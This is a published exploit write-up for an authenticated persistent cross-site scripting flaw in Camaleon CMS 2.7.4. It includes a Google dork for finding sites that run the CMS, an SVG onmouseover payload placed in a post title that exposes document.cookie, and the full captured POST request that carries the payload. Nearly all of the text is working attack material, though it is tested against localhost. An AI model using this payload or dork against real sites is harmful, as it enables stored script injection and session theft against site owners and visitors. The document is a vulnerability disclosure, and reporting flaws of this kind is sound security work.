# Exploit Title: Authenticated Persistent XSS in Cameleon CMS 2.7.4 # Google Dork: intext:"Camaleon CMS is a free and open-source tool and a fexible content management system (CMS) based on Ruby on Rails" # Date: 2023-10-05 # Exploit Author: Yasin Gergin # Vendor Homepage: http://camaleon.tuzitio.com # Software Link: https://github.com/owen2345/camaleon-cms # Version: 2.7.4 # Tested on: Linux kali 6.1.0-kali7-amd64 # CVE : - --- Description --- http://127.0.0.1:3000/admin/login - Login as a Admin Under Post tab click on "Create New" While creating the post set Title as "><svg/onmouseover=alert(document.cookie)> http://127.0.0.1:3000/admin/post_type/2/posts - Post data will be sent to this url -- POST DATA -- POST /admin/post_type/2/posts HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://127.0.0.1:3000/admin/post_type/2/posts/new Content-Type: application/x-www-form-urlencoded Content-Length: 666 Origin: http://127.0.0.1:3000 Connection: keep-alive Cookie: _my_project_session=w4yj2Y%2FqHaXYDhwwBDnYsyQUc6AtLUnItJ3MGHBV1yS40xwTgjfvlBZVNgqKIvg1W58e0mxyW4OcBk0XwJRZ90j6SmCHG1KJG9ppBKk%2FdKGDboPCRBq40qKhHnkssRPCgRgIjs69EG7htSdUY%2Bbgit9XTESgvSusBBhsIED%2BLH0VBOBL6H%2FV4Mp59NEP7LhP%2FHmlulEa7I43J8HKpStDj2HiXxA5ZghvSkvpfQpN2d047jLhl71CUcW7pHxmJ4uAdY5ip5OTIhJG9TImps5TbIUrOHyE9vKp1LXzdmbNNi2GI5utUUsURLGUtaN7Fam3Kpi8IqEaBA%3D%3D--8ZKl2%2F6OzLCXn2qA--%2BtMhAwdbdfxNzoSPajkZrg%3D%3D; auth_token=iRDUqXfbhmibLIM5mrHelQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A102.0%29+Gecko%2F20100101+Firefox%2F102.0&127.0.0.1; phpMyAdmin=4f5ad7484490645a49d171c03e15dab2; pma_lang=en Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 authenticity_token=vuAzhnu6UocDR6zpeeaQxvlVjdmIMr9LPrLEcK5FGVAEYQamLHI1fAG7jBQ3FwEX_ACWedzoX72WAUxqj5wKrQ&post%5Bdraft_id%5D=&post%5Bslug%5D=svgonmouseoveralertdocumentcookie&meta%5Bslug%5D=svgonmouseoveralertdocumentcookie&post%5Btitle%5D=%22%3E%3Csvg%2Fonmouseover%3Dalert%28document.cookie%29%3E&post%5Bcontent%5D=%3Cp%3Eqwe%3C%2Fp%3E&meta%5Bsummary%5D=qwe&options%5Bseo_title%5D=&options%5Bkeywords%5D=&options%5Bseo_description%5D=&options%5Bseo_author%5D=&options%5Bseo_image%5D=&options%5Bseo_canonical%5D=&commit=Create&post%5Bstatus%5D=published&meta%5Btemplate%5D=&meta%5Bhas_comments%5D=0&meta%5Bhas_comments%5D=1&categories%5B%5D=6&tags=&meta%5Bthumb%5D= -- POST DATA -- Then view the post you've created by clicking on "View Page" move your mouse cursor onto post title. XSS will popup.